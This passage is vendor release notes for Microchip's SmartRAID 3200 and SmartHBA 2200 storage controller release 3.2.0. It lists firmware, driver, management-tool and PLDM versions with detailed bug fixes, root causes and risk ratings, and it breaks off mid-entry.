[48156, 49538, 53], [49538, 50204, 54], [50204, 50204, 55]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 50204, 0.03343]]}
olmocr_science_pdfs
2024-12-01
2024-12-01
555d95ae043a11e5327a20f50831ee6072f1e101
# Table of Contents 1. About This Release...........................................................................................................................................3 1.1. Release Identification...................................................................................................................3 1.2. Files Included in this Release.......................................................................................................3 2. What’s New?.....................................................................................................................................................6 2.1. Fixes and Enhancements.............................................................................................................6 2.2. Limitations..................................................................................................................................17 3. Updating the Controller Firmware............................................................................................................20 3.1. Updating Controllers to Latest Firmware....................................................................................20 4. Revision History.............................................................................................................................................21 The Microchip Website.................................................................................................................................22 Product Change Notification Service............................................................................................................22 Customer Support...........................................................................................................................................22 Microchip Devices Code Protection Feature.................................................................................................22 Legal Notice..................................................................................................................................................22 Trademarks..................................................................................................................................................23 Quality Management System........................................................................................................................24 Worldwide Sales and Service.........................................................................................................................25 1. **About This Release** The release described in this document includes firmware, OS drivers, tools, and host management software for the SmartRAID 3200 and SmartHBA 2200 solutions from Microchip. 1.1 **Release Identification** The firmware, software, and driver versions for this release are shown in the following table. **Table 1-1. Release Summary** <table> <thead> <tr> <th>Component</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Solutions release</td> <td>3.2.0</td> </tr> <tr> <td>Package release date</td> <td>July 20, 2022</td> </tr> <tr> <td>Firmware version</td> <td>3.01.14.62</td> </tr> <tr> <td>UEFI/Legacy BIOS</td> <td>2.2.4/2.2.2</td> </tr> <tr> <td>Driver versions</td> <td>Windows Drivers:</td> </tr> <tr> <td></td> <td>• Windows 2022, 2019, 2016, Windows 11, 10: 1010.42.0.1020</td> </tr> <tr> <td></td> <td>Linux SmartPQI:</td> </tr> <tr> <td></td> <td>• RHEL 7/8/9: 2.1.18-045</td> </tr> <tr> <td></td> <td>• SLES 12/15: 2.1.18-045</td> </tr> <tr> <td></td> <td>• Ubuntu 18/20/21/22: 2.1.18-045</td> </tr> <tr> <td></td> <td>• Oracle Linux 7/8: 2.1.18-045</td> </tr> <tr> <td></td> <td>• Citrix Xenserver 8: 2.1.18-045</td> </tr> <tr> <td></td> <td>• Debian 10/11: 2.1.18-045</td> </tr> <tr> <td></td> <td>• CentOS 7/8: 2.1.18-045</td> </tr> <tr> <td></td> <td>VMware:</td> </tr> <tr> <td></td> <td>• VMware ESX 7: 4330.0.116</td> </tr> <tr> <td></td> <td>FreeBSD/Solaris:</td> </tr> <tr> <td></td> <td>• FreeBSD 12/13: 4280.0.1007</td> </tr> <tr> <td></td> <td>• Solaris: 11: 11.4120.0.1005</td> </tr> </tbody> </table> **Table 1-2. Firmware Files** <table> <thead> <tr> <th>Component</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>ARCCONF/maxView</td> <td>B25335</td> </tr> <tr> <td>PLDM</td> <td>6.10.14.0</td> </tr> </tbody> </table> 1.2 **Files Included in this Release** This section details the files included in this release. **Table 1-2. Firmware Files** <table> <thead> <tr> <th>Component</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>SmartFWx200.bin</td> <td>Production-signed programmable NOR Flash File. Use to program NOR Flash for boards that are already running firmware.</td> </tr> </tbody> </table> Table 1-3. Firmware Programming Tools <table> <thead> <tr> <th>Tool</th> <th>Description</th> <th>Executable</th> </tr> </thead> <tbody> <tr> <td>ARCCONF</td> <td>ARCCONF CLI Utility</td> <td>ARCCONF BXXXXX.zip</td> </tr> <tr> <td>maxView</td> <td>maxView Utility</td> <td>MAXVIEW XXX BXXXXX.zip</td> </tr> </tbody> </table> Driver Files Table 1-4. Windows Drivers <table> <thead> <tr> <th>OS</th> <th>Version</th> </tr> </thead> <tbody> <tr> <td>Server 2022, 2019, 2016, Windows 11, 10</td> <td>x64</td> </tr> </tbody> </table> Table 1-5. Linux Drivers <table> <thead> <tr> <th>OS</th> <th>Version</th> </tr> </thead> <tbody> <tr> <td>RHEL 9.0¹, 8.6¹, 8.5, 8.4, 7.9, 7.8</td> <td>x64</td> </tr> <tr> <td>CentOS 8.4, 8.3, 8.0 ,7.9 ,7.8</td> <td>x64</td> </tr> <tr> <td>SLES 12 SP5, SP4</td> <td>x64</td> </tr> <tr> <td>SLES 15 SP4¹, SP3, SP2</td> <td>x64</td> </tr> <tr> <td>Ubuntu 20.04.4, 20.04.3, 20.04, 18.04.5, 18.04.4</td> <td>x64</td> </tr> <tr> <td>Ubuntu 22.04, 21.04</td> <td>x64</td> </tr> <tr> <td>Oracle Linux 7.9 UEK6U3</td> <td>x64</td> </tr> <tr> <td>Oracle Linux 8.5, 8.4 UEK6U3</td> <td>x64</td> </tr> <tr> <td>Debian 11.1, 10.10</td> <td>x64</td> </tr> <tr> <td>Fedora 35 (inbox)</td> <td>x64</td> </tr> <tr> <td>XenServer 8.2</td> <td>x64</td> </tr> </tbody> </table> **Note:** 1. New OS support—minimally tested drivers in this release. Fully supported drivers are expected in the next release. Table 1-6. FreeBSD, Solaris, and VMware Drivers <table> <thead> <tr> <th>OS</th> <th>Version</th> </tr> </thead> <tbody> <tr> <td>ESX7.0 U3/U2</td> <td>x64</td> </tr> <tr> <td>FreeBSD 13, 12.3</td> <td>x64</td> </tr> <tr> <td>Solaris 11.4</td> <td>x64</td> </tr> </tbody> </table> Host Management Software <table> <thead> <tr> <th>Description</th> <th>OS</th> <th>Executable</th> </tr> </thead> <tbody> <tr> <td>ARCCONF Command Line Utility</td> <td>Windows x64</td> <td>See the arcconf_B#####.zip for the installation executables for the relevant OS.</td> </tr> <tr> <td></td> <td>Linux x64</td> <td></td> </tr> <tr> <td></td> <td>VMware 6.5 and above</td> <td></td> </tr> <tr> <td></td> <td>XenServer</td> <td></td> </tr> <tr> <td></td> <td>UEFI support</td> <td></td> </tr> <tr> <td>maxView Storage Manager</td> <td>Windows x64</td> <td>See the maxview_linux_B#####.zip, maxview_win_B#####.zip, and the maxview_vmware_B#####.zip for the installation executables.</td> </tr> <tr> <td></td> <td>Linux x64</td> <td></td> </tr> <tr> <td></td> <td>VMware 6.5 and above</td> <td></td> </tr> <tr> <td></td> <td>XenServer</td> <td></td> </tr> <tr> <td></td> <td>UEFI support</td> <td></td> </tr> <tr> <td>maxView vSphere Plugin</td> <td>VMware 6.5 and above</td> <td>See the maxview_vmware_B#####.zip for the installation executables.</td> </tr> <tr> <td>Boot USB (offline or pre-boot) for ARCCONF and maxView Storage Manager</td> <td>Linux x64</td> <td>See the maxview_offline_bootusb_B#####.zip for the .iso file.</td> </tr> </tbody> </table> 2. **What's New?** This section shows what's new in this release. 2.1 **Fixes and Enhancements** This section shows the fixes and enhancements for this release. 2.1.1 **Firmware Fixes** This section shows the firmware fixes and enhancements for this release. 2.1.1.1 **Fixes and Enhancements for Firmware Release 3.01.14.62** This release provides the following fixes and enhancements. - Added Passive SED support. - Added support for logical drive transformation without supercap. - Added ability to coalesce multiple streams of sequential I/O to a single RAID logical drive. - Added support for multi-actuator drives. - Added support to send SCSI timestamp to drives to sync host system time (RTC). - Updated maximum power required for controllers so that the device can operate in PCIe 25W slots. - Added SPDM Protocol for Attestation and Authentication Credentials. - Added display ASIC minor version. - Fixed a performance issue with a RAID 5 logical drive writing sequential I/Os that resulted in I/Os taking a long time and LUN resets. - **Root cause:** Commands were getting stuck in queue waiting too long. - **Fix:** Added time check to avoid commands waiting too long. - **Risk:** Medium - Fixed an issue sending a PLDM event when controller password is entered and no encrypted logical drives are present. - **Root cause:** Firmware was assuming an encrypted logical drive was available to send an event when the controller password is entered. - **Fix:** Send an event even if no encrypted logical drive is present. - **Risk:** Low - Improved IO performance by speeding up internal manufacturing data command. - **Root cause:** A request to get manufacturing data was taking a long time. - **Fix:** Cache the data needed for this command so that it can be returned quicker. - **Risk:** Low - Fixed an issue where logical drives may be incorrectly failed after a rebuild. - **Root cause:** An array consisting of multiple logical drives and multiple spare drives will undergo a rebuild when one of the physical drives has failed. Each logical drive is sequentially rebuilt using a spare drive. If some of the logical drives have completed the rebuild and a second physical drive fails, then firmware incorrectly reports the previously rebuilt logical drives as failed instead of degraded and the logical drive that is currently being rebuilt is correctly marked as failed. The firmware incorrectly failed the previously rebuilt logical drives because it removed the spare drives and the failed drive from those logical drives. - **Fix:** Firmware keeps the spare drives as part of the rebuilt logical drives so they will correctly report a degraded state. - **Risk:** High - Fixed an issue with two UBM backplanes connected to one connector and one UBM backplane incorrectly identified itself as not on a bifurcated cable. - **Root cause:** The logic for each connector was trying to take ownership of the drives, which resulted in controller locking up since drives should only be owned by one box. - **Fix:** Do not discover drives on second connector if drives have already been marked. – **Risk**: Low **Fixed an issue where Real Time Clock (RTC) timestamp was not being sent to SES-based storage enclosure SEPs attached to internal connectors of the enclosure.** – **Root cause**: Firmware was only sending the RTC timestamp to SEPs that were connected to external connectors of the controller. – **Fix**: Removed check for externally connected enclosure so timestamp now gets sent to all SEPs. – **Risk**: Low **Fixed a potential UBM backplane flash issue where image start index is not aligned with the start sector.** – **Root cause**: Controller was not calculating start index, and assumed the start index aligns with the start sector. – **Fix**: Calculate the start index correctly. – **Risk**: Low **Fixed an issue where encrypted data is not accessible for a RAID 50/60 logical drive when it was failed and healed using “Heal Array”.** – **Root cause**: During the "Heal Array" operation on a failed encrypted logical drive, firmware will create a new Data Encryption Key (DEK) for the healed encrypted logical drive. This causes the data to be inaccessible because the new DEK is different from the original DEK used to encrypt the data for those physical drives. – **Fix**: During a "Heal Array” operation, firmware will keep the previously used DEK so the data will be accessible. – **Risk**: Low **Fixed an issue where hang detection detects a hang while an IO is in the error task being spunup.** – **Root cause**: A drive is being spun up in error task. That can take a long time. – **Fix**: Hang timer starts when a drive starts to be spun up. This timer was incrementing with no resets while all steps are performed. Fix was to restart this hang timer it moves to next step. – **Risk**: Low **Fixed an issue where the drive slot number shown for a failed drive is wrong.** – **Root cause**: If the SES enclosure has a valid additional status page, then the bay number for each drive in the enclosure is used by the firmware from the additional status page information. If the drive has an invalid SAS address in the additional status page, the bay number is assigned from the expander drive slot number by the firmware. When the firmware is traversing through physical drives to validate the additional status page, the validation flag is overwritten with the latest drive's additional status page validity status. This overwriting resulted in firmware not updating the bay number if the drive had an invalid SAS address in the additional status page. – **Fix**: Stop overwriting the validation flag of the drive's additional status page when any drive in the list has an invalid status. – **Risk**: Low **Fixed an issue that when the backup power source is removed, cache status shows "temporary disabled."** – **Root cause**: After completing the boot time cache flush, cache module cleanup has never been performed as an internal flag is not clear. – **Fix**: Cleanup cache module when power-up flush is completed. – **Risk**: Low **Fixed continuous Predictive Failure LED blinking during an ongoing Predictive Spare Rebuild.** – **Root cause**: When the drive is hot removed the update_led function is only called for the drive which was hot removed. – **Fix**: Update LED behavior for all drives when the drive is hot removed. This ensures the Predictive Failure LED is turned off during a rebuild operation. – **Risk**: Low **Fixed an issue where an unconfigured drive still reports as StandbyOffline.** – **Root cause**: After a Clear Controller Configuration was completed the PLDM event callback was not invoked. – **Fix**: After Clear Controller Configuration completes, make call to wake up the PLDM task thread. – **Risk**: Low • Fixed an issue where the encrypted single drive RAID 0 logical drive was reported with state NEED_CRYPTO_KEY after system reboot. – Root cause: When the physical drive was replaced and the encrypted single drive RAID 0 logical drive was re-enabled, the key that is used to encrypt the data was not written back to the logical drive media. The key was used from within the controller’s internal memory. When the system was rebooted, the key is no longer in the controller memory and the key is not on the logical drive either, so it is not present in the current system. – Fix: Write the key back to the media of all physical drives contained in the logical drive when the logical drive is re-enabled. – Risk: Low • Fixed long SATA SSD TRIM causing hang. – Root cause: While creating a logical drive with SATA SSDs, if an Over-Provisioning Optimization (OPO) operation is performed on SSDs, no host IOs are allowed to complete. This makes firmware assume there is a hang and firmware may trigger a lockup. – Fix: Resolved the lockup by considering OPO operations as normal I/O. Also, to speed up the OPO operation for SATA SSDs, increase the number of bytes being trimmed per operation to 512 MiB, which has been observed to reduced the OPO operation time to 22 seconds per terabyte. – Risk: Medium • Fixed an IO freeze timeout after drive removal. – Root cause: IO freeze was performed when drive was removed. The routine that needed to handle drive fail functionality was then suspended because of IO freeze. This same routine should have handled IO unfreeze but did not since it was suspended waiting to fail the drive. This deadlock situation caused an IO freeze timeout. – Fix: Prevent the routine from saving RAID metadata since that causes it to get suspended. – Risk: Low • Fixed an issue where firmware continuously retries a command to the SEP device that was completed with the TASK SET FULL status. – Root cause: Firmware retries indefinitely on any command to the SEP device that was completed with TASK SET FULL status and the request's retry count was still greater than 1. – Fix: Firmware decreases the request's retry count for all the retry commands to the SEP device regardless of the SCSI error status. – Risk: Low • Fixed an issue where the Predictive Fail (PF) LED did not blink during predictive spare rebuild. – Root cause: When rebuild started, only a call to blink the target rebuilding drive was called. – Fix: When rebuild starts, blink all drive LED states instead of just rebuilding the drive. PF LED will only blink if volume is fault tolerant. – Risk: Low • Fixed an issue to set controller PHY rate to 12G during hot-plug of an expander with IO running. – Root cause: While running heavy IO to SATA drives behind an expander, bringing down PHYs and re-enabling resulted in PHYs not being set to 12G. This was a result of IOs timing out, which resulted in the controller phy rate not to be set to 12G. – Fix: Ensure the controller PHY rate is set to 12G even if the IO times out. – Risk: Low • Fixed an issue where the product ID of an enclosure was not showing correctly. – Root cause: Product IDs that had a space in the middle of the string were being truncated. – Fix: Corrected code to ensure that any characters after the space are displayed. – Risk: Low • Fixed an issue with a UBM backplane where not all drives were discovered. – Root cause: The backplane supported 10 DFC connectors but the firmware assumed no more than eight. – Fix: Increased the maximum DFC connectors to 15. – Risk: Low • Fixed an issue where random sense data could be returned when the target is a host or logical drive. 2.1.2 UEFI/Legacy BIOS Fixes This section shows the UEFI/Legacy BIOS fixes and enhancements for this release. 2.1.2.1 Fixes and Enhancements for UEFI Build 2.2.4/Legacy BIOS Build 2.2.2 This release provides the following fixes and enhancements. - Added a new HII menu that will attempt to re-enable a previously failed logical drive whose physical drives are back online later. - Driver health error codes are consolidated from 0x17xx and 0x18xx series to a 0x19xx series. - Added an Unlock Controller option in the HII menu when controller password is set for controller-based encryption (CBE). - Fixed an issue where the controller could lock up during transition from preboot to OS. - Root cause: The UEFI driver sends I/O command to the controller without using a timeout value. During the transition from preboot to an OS, if an I/O command is still pending and the UEFI driver triggers a command interface change, the controller encounters a lockup. - Fix: Timeout value added for I/O commands. - Risk: Low - Fixed an issue where there was an incorrect location representation for non-disk devices such as SES and expander devices. - Root cause: Location represented as port:box:bay for non-disk devices. Bay number is not applicable for non-disk devices. - Fix: Location for non-disk devices updated to only show port:box format. - Risk: Low 2.1.3 Driver Fixes This section shows the driver fixes and enhancements for this release. 2.1.3.1 Windows Driver Fixes This section shows the Windows driver fixes and enhancements for this release. 2.1.3.1.1 Fixes and Enhancements for Windows Driver Build 1010.42.0.1020 This release provides the following fixes and enhancements. - Added support for Multi-Actuator drives. - Added driver internal ring buffer logging that allows the driver to log important messages to a driver allocated ring buffer memory. - Fixed an issue where driver accesses Command Descriptor Block's (CDB) NULL pointer and BSOD occurs. - Root cause: The SmartPQI driver parses the SRB with CDB length = 0 and sets the CDB pointer to NULL. When the driver accesses the NULL CDB pointer an invalid memory access occurs. - Fix: The build SCSI request in the driver's SRB routine will return invalid command status when the CDB pointer is NULL. - Risk: Low - Fixed an issue where driver might fail to load intermittently after a dirty system shutdown. - Root cause: There are two problems that can occur after a dirty system shutdown. - The first is that the driver can get confused about which mode the controller is in and request an unnecessary soft reset. - The second problem is that after requesting the unnecessary soft reset, the driver can access controller registers prematurely before the controller has completed the soft reset. This can result in the driver misinterpreting the state of the controller firmware. 2.1.3.2 Linux Driver Fixes This section shows the Linux driver fixes and enhancements for this release. 2.1.3.2.1 Fixes and Enhancements for Linux Driver Build 2.1.18-045 This release includes the following fixes and enhancements. - **Added support for Multi-Actuator disk drives.** - **Added support for displaying controller firmware version in the OS message log.** The controller firmware version is printed to OS message log during driver initialization. - **Added support for a controller ready timeout module parameter (ctrl_ready_timeout).** The valid range is 0 or 30–1800 seconds. The default value is 0, which causes the driver to use a timeout of 180 seconds (3 minutes). - **Added support for deleting a LUN via sysfs using the following syntax:** ```bash echo 1 > /sys/block/sdX/device/delete ``` - **Added module parameter to disable managed interrupts (disable_managed_interrupts=1).** - **Fixed a race condition where the driver can access the RAID map when using IOBypass during a RAID configuration change.** - **Root cause:** A race condition in the driver might cause it to access a stale RAID map when a logical drive is reconfigured. - **Fix:** Modified the driver logic to - Invalidate a RAID map at an early stage when a RAID configuration change is detected - Switch to a new RAID map only after the driver detects that the RAID map has changed - **Risk:** Low - **Fixed an issue where the sg_map tool issues SCSI READ BLOCK LIMITS (0x5) command and the firmware never completes it, causing a system call trace and sg_map hang.** - **Root cause:** Driver is sending an incorrect data direction flag for the RAID path request. - **Fix:** Corrected the data direction flag for the RAID path request. - **Risk:** Low - **Fixed an issue where PQI Reset might fail with an error “− 6” if firmware takes more than 100 ms to complete Reset.** - **Root cause:** Method used by the driver to detect controller firmware crash during PQI Reset was incorrect in some cases. - **Fix:** Changed method used by the driver to detect controller firmware crash during PQI Reset. - **Risk:** Low 2.1.3.3 VMware Driver Fixes This section shows the VMware driver fixes and enhancements for this release. 2.1.3.3.1 Fixes and Enhancements for VMware Driver Build 4330.0.116 This release provides the following fixes and enhancements. - **Added support for Multi-Actuator disk drives.** - Added support for multiple tag table to improve performance by optimizing tag and requesting structure allocation. - Added support for `ScsiAdapterCheckTarget` which performs a device lookup and returns true only when specified adapter/channel/target exists and is exposed as a SCSI device. - Added a module parameter `CtrlReadyTimeoutSecs` for controller ready timeout. The valid range is 30–1800 seconds. The default value is 120 seconds. - Fixed an issue where the `SCSI READ BLOCK LIMITS (0x5)` command is never completed by firmware and a TMF ABORT is issued in ESXi. - **Root cause:** Driver is sending an incorrect data direction flag for the RAID path request. - **Fix:** Corrected the data direction flag for the RAID path request. - **Risk:** Low - Fixed an issue where during driver initialization a warning message appears about the DMA alignment setting, instead of an informational message. - **Root cause:** Improper flag on the message. - **Fix:** Change message level WARN to INFO. - **Risk:** Low - Fixed an issue where `PSOD` is observed during driver load. - **Root cause:** Driver was creating a greater number of completion worlds than allowed, which resulted in a SCSI layer deadlock. - **Fix:** Set the SCSI completion world to the maximum supported value. - **Risk:** Medium - Fixed an issue with cards that are running on older firmware where firmware features previously were potentially disabled due to incorrect placement in the firmware features table. - **Root cause:** Firmware feature parsing logic on the driver's side was incorrectly skipping some features that must have been enabled regardless of firmware's maximum known features. Firmware does not have the maximum known feature bit set, and the code stops evaluating the feature list when it finds this issue. - **Fix:** Lean on already implemented method of traversing valid feature entries using the num_elements field in the PQI firmware feature table, and reject support for any bit positions outside the valid bytes indicated by firmware. - **Risk:** Low - Fixed an issue where the driver reports an error when the unsupported `SCSI Maintenance IN (0xA3)` command with service action "report supported opcode" (0xC) is sent to the logical drive. - **Root cause:** Firmware does not support command 0xA3 with service action 0xC and it returns an error to the driver. - **Fix:** Suppress error logs reported for `SCSI Maintenance IN (0xA3)` with service action 0xC. - **Risk:** Low ### 2.1.3.4 FreeBSD/Solaris Driver Fixes This section shows the FreeBSD/Solaris driver fixes and enhancements for this release. #### 2.1.3.4.1 Fixes and Enhancements for FreeBSD Driver Build 4280.0.1007 This release includes the following fixes and enhancements. - Fixed an issue where logical drives created on the hard disk drives were not listed with the "geom disk list" command. - **Root cause:** The bus_dmamap_sync operation which is performed before device access was being handled incorrectly. - **Fix:** Handle the bus_dmamap_sync operation correctly. - **Risk:** Low - Fixed an issue of the expanded capacity of a logical drive not reflecting in the OS after modifying the size using Arcconf. - **Root cause:** Current FreeBSD code detects a capacity expansion by checking the logical drive status. Firmware may cycle through the logical drive states (OK, NEEDS_EXPAND, EXPANDING, OK) faster than the driver can send commands to check for the logical drive state changes. This results in the driver seeing the logical drive as OK and failing to detect the logical drive expansion. - Fix: Driver detects the event type PQI_EVENT_TYPE_LOGICALDEVICE (0x5) due to logical drive expansion and sets the rescan flag. Later, it triggers reprobe of all logical drives that includes sending SCSI READ CAPACITY command and updating the size that is visible to the OS. - Risk: Low - Fixed an issue where OS commands are getting hung after executing on logical drives that are created using SSD. - Root cause: Driver was not properly handling the data direction flag for IOBypass. - Fix: Corrected the data direction flag for IOBypass request. - Risk: Low - Fixed an issue where the SCSI READ BLOCK LIMITS (0x5) command is never completed by firmware and a TMF ABORT is observed. - Root cause: Driver is sending an incorrect data direction flag for the RAID path request. - Fix: Corrected the data direction flag for the RAID path request. - Risk: Low 2.1.3.4.2 Fixes and Enhancements for Solaris Driver Build 11.4120.0.1005 There are no fixes and enhancements for this version. 2.1.4 Management Software Fixes This section shows the management software fixes and enhancements for this release. 2.1.4.1 maxView Storage Manager/ARCCONF Fixes This section shows the maxView Storage Manager/ARCCONF fixes and enhancements for this release. 2.1.4.1.1 Fixes and Enhancements for maxView Storage Manager/ARCCONF Build 25335 This release provides the following fixes and enhancements: - Removed the Log4J library usage completely from maxView. - Note: Microchip strongly recommends users of maxView update to the latest version of the tool to avoid the security vulnerabilities with the previous releases. - Added TASK and GETSTATUS commands support in UEFI ARCCONF. - Added ASIC minor version display in maxView and ARCCONF. - Added support in maxView and ARCCONF to sort the controllers based on the bus number, if the slot ID is not valid. - Fixed an issue where maxView create logical drive selection check box was invisible in older version of the Edge browsers. - Root cause: maxView create logical drive selection table had alignment issues in older version of the Edge browser when the column width was specified in percentage. - Fix: The column width of the table is changed to pixel instead of percentage to resolve the alignment issue in the older edge browser. - Risk: Low - Fixed an issue where maxView was failing to modify the maxCache logical device’s cache policy to write-through in ESXi 7.xx. - Root cause: ESXi Redfish server had issues in accepting the HTTP PATCH request from maxView. - Fix: Updated the maxView HTTP PATCH request call to comply with ESXi redfish server. - Risk: Low - Fixed an issue where ARCCONF was not displaying the controller PHY error log information. - Root cause: PHY error log was disabled in ARCCONF. - Fix: Added changes to enable the PHY error log from ARCCONF. - Risk: Low - Fixed an issue where ARCCONF results in segmentation Fault when collecting the support archive. - Root cause: ARCCONF resulted in segmentation Fault when retrieving invalid vendor specific diagnostic page from the drive. - Fix: Added changes in ARCCONF to skip reading the invalid vendor specific diagnostic page. - Risk: Low • Fixed an issue where ARCCONF was not displaying the updated expander firmware version after upgrading the expander firmware. – Root cause: The controller is returning the older expander firmware version instead of recently updated expander firmware version until the next controller power cycle. – Fix: Added changes in ARCCONF to send the SCSI inquiry command to the expander for retrieving the updated expander firmware version. – Risk: Low • Fixed an issue of I2C devices not being detected when “SMBUSCHANNEL” is set to “ENABLE”. – Root cause: ARCCONF disabled the SMBUSCHANNEL when user enabled it. – Fix: Added changes in ARCCONF to set the correct user input value for SMBUSCHANNEL. – Risk: Low • Fixed an issue where ARCCONF fails to set ATAPASSWORD for a SATA device. – Root cause: ARCCONF ATAPASSWORD command was disabled. – Fix: Added changes in ARCCONF to enable the ATAPASSWORD command. – Risk: Low • Fixed an issue where ARCCONF did not allow changing the write cache setting to write-through for RAID 5 maxCache logical device. – Root cause: Write-through setting for maxCache write cache setting was aborted due to invalid condition check. – Fix: Added changes to remove the invalid condition check and allow write-through setting for maxCache logical device. – Risk: Low • Fixed an issue where in UEFI ARCCONF where remove hot spare command was failing when array ID was specified. – Root cause: Parsing of array ID in the UEFI ARCCONF remove hot spare command was not proper. – Fix: Added changes to fix the array ID parsing issue. – Risk: Low • Fixed an issue in ARCCONF where an invalid SMART attribute was displayed in the drive SMART STATS. – Root cause: ARCCONF was retrieving invalid attributes beyond the SMART attributes range. – Fix: Added changes in ARCCONF to block the retrieval of invalid attributes beyond the SMART attributes range. – Risk: Low • Fixed an issue where ARCCONF was not displaying the connector information for the enclosure device. – Root cause: Connector ID for the enclosure device was missing. – Fix: Added changes to display the connector ID for the enclosure device in ARCCONF. – Risk: Low • Fixed an issue where maxView was displaying invalid supercap alert message for the controller that does not support Supercap. – Root cause: Supercap alert message was displayed for the controller that does not support Supercap. – Fix: Added changes to display the Supercap alert message only for controllers that has Supercap support. – Risk: Low • Fixed an issue where ARCCONF failed to execute SLOTCONFIG sub-command. – Root cause: ARCCONF SLOTCONFIG sub-command was disabled. – Fix: Added changes to enable SLOTCONFIG sub-command from ARCCONF. – Risk: Low • Fixed an issue where UEFI ARCCONF was not displaying array information for physical device. – Root cause: Array property on the physical device was not implemented in the UEFI ARCCONF. – Fix: Added changes to display the array property in GETCONFIG command for the physical device. – Risk: Low • Fixed an issue where ARCCONF was not displaying the negative temperatures for certain drive models. – Root cause: ARCCONF failed to decode the negative temperature for the specific drives. 2.1.4.2 PLDM Fixes This section shows the PLDM fixes and enhancements for this release. 2.1.4.2.1 Fixes and Enhancements for PLDM Release 6.10.14.0 This release provides the following fixes and enhancements. - Added support for the following Redfish ACTION requests: - Drive.#SecureErase - Drive.#Reset - Storage.#ResetToDefaults **Note:** ResetToDefaults does not support a ResetType of ResetAll when encrypted volumes exist on the controller. The user must first either delete or decrypt any encrypted volumes prior to issuing such an ACTION request. - Added support for Redfish PATCH requests for the following properties: - Volume.DisplayName - Volume.Links.DedicatedSpareDrives - Volume.IOPerfModeEnabled - Volume.ReadCachePolicy - Volume.WriteCachePolicy - Drive.LocationIndicatorActive - Drive.WriteCacheEnabled - StorageController.ControllerRates.ConsistencyCheckRatePercent - StorageController.ControllerRates.RebuildRatePercent - StorageController.ControllerRates.TransformationRatePercent - Added the following Redfish alerts: - DriveOffline - DriveMissing - DriveMissingCleared - DriveOfflineCleared - VolumeOffline - VolumeOfflineCleared - BatteryMissing - BatteryFailure - BatteryCharging - BatteryOK - ControllerDegraded - ControllerFailure - ControllerPreviousFailure - ControllerPasswordRequired - ControllerPasswordEntered - Added the following property to the Redfish GET response for VolumeCollection resources: - VolumeCollection.@Redfish.CollectionCapabilities.MaxMembers - Added support for firmware updates for physical drives. - Added a new OperationName value of ‘Reverting’ which is used for Redfish GET responses targeting self-encrypting drives undergoing a revert. - Added a new EncryptionType of ‘NativeDriveEncryption’ for logical drives which are secured using SED-based encryption. - When targeting the physical drives temperature numeric sensor, GetSensorReading will now return the temperature of the hottest drive instead of a normalized temperature. • Certain controller temperature sensor numeric sensors have had their EntityType changed from "I/O Controller" to "Add-in card". • RDE READ on a Drive resource will now omit the Vendor from Drive.Name property on some controllers. • The Type 5 commands QueryDownstreamDevices, GetDownstreamFirmwareParameters, and QueryDownstreamIdentifiers will now report information for physical drives. • The Volume.WriteCachePolicy property in a Redfish GET response for a Volume resource will have a value of ProtectedWriteBack when the controller battery is removed or goes missing. • Updated all resource schema dictionaries to the latest version available in the 2021.4 schema bundle. The individual dictionary versions are: – Annotations: v1.1.1 – Drive: v1.14.0 – Event: v1.7.0 – Port: v1.6.0 – PortCollection: unversioned – RedfishError: v1.0.1 – Storage: v1.12.0 – StorageController: v1.5.0 – StorageControllerCollection: unversioned – Volume: v1.6.2 – VolumeCollection: unversioned • On controllers that support managed SED encryption: – Redfish GET responses for a self-encrypting drive resource will publish the following ‘EncryptionStatus’ values: • Unencrypted • Locked • Unlocked • Foreign – ‘Drive.Status.State’ for a self-encrypting drive (SED) resource will be set to ‘StandbyOffline’ in the following conditions: • SED is Foreign • SED is Locked (only for controller owned SEDs) • SED is controller owned and controller is waiting on SED adapter password. – ‘Encrypted’ property will be set to True on Redfish GET responses for Volume resources which are secured using SED-based encryption. • Fixed and issue where events would be sent continuously if the host does not respond to PlatformEventMessage. – Root cause: In case of an async event receiver, there was no logic to cap the number of retries when an event subscriber never responds to a PlatformEventMessage request. – Fix: Added logic to cap the number of retries to 3. After the max limit of retries is reached, no further events will be sent until new events are pushed in or event subscriber resets the event queue. – Risk: Medium • Fixed and issue where Redfish CREATE requests for logical drives fails when using 4Kn drives as the data drives. – Root cause: The API which creates a logical drive with 4Kn drives returned an error causing the CREATE operation to fail. – Fix: Updated the API to create a logical drive on 4Kn drives correctly. – Risk: Low • Fixed and issue where Storage.Status.HealthRollup would erroneously report a value of Warning instead of OK when a logical drive has an InitializationMethod of Foreground. – Root cause: The calculation of the controller’s health rollup considers a logical drive undergoing foreground initialization to have a health value of 'Warning' as it is unavailable to the host OS during that time. • **Fix**: Revised the calculation of the controller health rollup to publish a value of 'OK' if a child logical drive is queued for or undergoing foreground initialization and no other factors would cause a health status other than 'OK'. • **Risk**: Low • **Fixed and issue where the controller firmware update progress is underestimated.** • **Root cause**: On controllers that require firmware to be flashed twice, the percent complete stalls at 95% after the first flash and doesn’t update until the second flash completes. • **Fix**: The number of flashes required is now checked when initializing the percent complete increment. • **Risk**: Low • **Fixed and issue where StorageController.CacheSummary.Status.State would have a value of Enabled on controllers lacking a cache module.** • **Root cause**: The mechanism for determining if a cache module was attached was not checking the right fields in the right conditions. • **Fix**: Changed the code to correctly determine the presence of a cache module and correctly report it. During the investigation of this issue it was also determined that other fields in the cache summary also needed to be changed. If no cache module is attached, the following fields should be as shown here: • TotalCacheSizeMiB: 0 • PersistentCacheSizeMiB: 0 • Status.Health: OK • Status.State: Absent If the controller has no cache module but supports RAID modes, the following fields should be as shown here: • TotalCacheSizeMiB: The total memory size of the controller • PersistentCacheSizeMiB: 0 • Status.Health: Warning • Status.State: Disabled • **Risk**: Low • **Fixed and issue where a Port’s ServiceLabel did not contain the parent StorageController’s slot number.** • **Root cause**: The Port READ response function was duplicating the Port Name property when publishing the ServiceLabel property. • **Fix**: Revised the ServiceLabel value string to contain both the controller slot number and port name in the format "Slot=x:Port=y". • **Risk**: Low • **Fixed and issue where an incorrect completion code is sent for Redfish requests which encounter an error.** • **Root cause**: RDEOperationInit requests which encounters an error returns ERROR_OPERATION_FAILED. This does not conform to the DMTF PLDM Type 6 spec DSP0218. • **Fix**: Modified the processing of RDEOperationInit requests to conform to the DMTF PLDM Type 6 spec DSP0218, where any Type 6 operation which encounters an error and responds with extended error info should return ERROR_UNSUPPORTED instead of ERROR_OPERATION_FAILED. • **Risk**: Low • **Fixed and issue where an incorrect strip size is applied when creating logical drives resources on 4Kn drives.** • **Root 